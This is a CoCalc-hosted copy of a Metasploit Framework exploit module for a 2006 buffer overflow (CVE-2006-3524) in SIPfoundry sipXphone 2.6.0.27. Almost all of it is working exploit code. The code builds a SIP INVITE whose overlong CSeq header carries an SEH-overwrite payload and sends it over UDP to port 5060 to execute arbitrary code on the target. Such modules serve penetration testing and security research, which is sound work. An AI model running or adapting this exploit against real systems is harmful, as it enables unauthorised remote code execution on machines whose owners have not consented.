CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/sip/sipxphone_cseq.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in SIPfoundry's
17
sipXphone 2.6.0.27. By sending an overly long CSeq value,
18
a remote attacker could overflow a buffer and execute
19
arbitrary code on the system with the privileges of
20
the affected application.
21
},
22
'Author' => 'MC',
23
'References' =>
24
[
25
[ 'CVE', '2006-3524' ],
26
[ 'OSVDB', '27122' ],
27
[ 'BID', '18906' ],
28
],
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 400,
36
'BadChars' => "\x00\x0a\x20\x09\x0d",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
43
],
44
'Privileged' => false,
45
'DisclosureDate' => '2006-07-10',
46
'DefaultTarget' => 0))
47
48
register_options(
49
[
50
Opt::RPORT(5060)
51
])
52
end
53
54
def exploit
55
connect_udp
56
57
user = rand_text_english(2, payload_badchars)
58
port = rand(65535).to_s
59
filler = rand_text_english(212, payload_badchars)
60
seh = generate_seh_payload(target.ret)
61
filler[204, seh.length] = seh
62
63
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
64
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
65
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
66
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
67
sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
68
sploit << "CSeq: " + filler + "\r\n"
69
sploit << "Max-Forwards: 20" + "\r\n"
70
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
71
72
print_status("Trying target #{target.name}...")
73
74
udp_sock.put(sploit)
75
76
handler
77
disconnect_udp
78
79
end
80
end
81
82